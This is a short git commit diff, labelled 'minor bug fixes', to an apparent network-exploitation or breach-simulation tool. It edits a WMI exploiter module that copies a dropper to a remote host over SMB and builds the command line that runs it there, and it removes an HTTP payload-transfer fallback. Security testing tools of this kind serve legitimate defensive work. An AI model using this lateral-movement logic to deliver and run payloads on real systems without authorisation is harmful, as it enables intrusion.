minor bug fixes

This commit is contained in:
Barak Hoffer 2015-10-08 13:32:26 +03:00
parent 35859c1a21
commit 760d267459
2 changed files with 3 additions and 6 deletions

View File

@ -16,6 +16,7 @@ from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from network import SMBFinger
try:
from impacket import smb

View File

@ -74,14 +74,10 @@ class WmiExploiter(HostExploiter):
password,
src_path,
self._config.dropper_target_path)
remote_full_path = False
if not remote_full_path:
remote_full_path = self._config.dropper_target_path
http_path = HTTPTools.create_transfer(host,
src_path,
remote_full_path)
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
wmi_connection.close()
return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}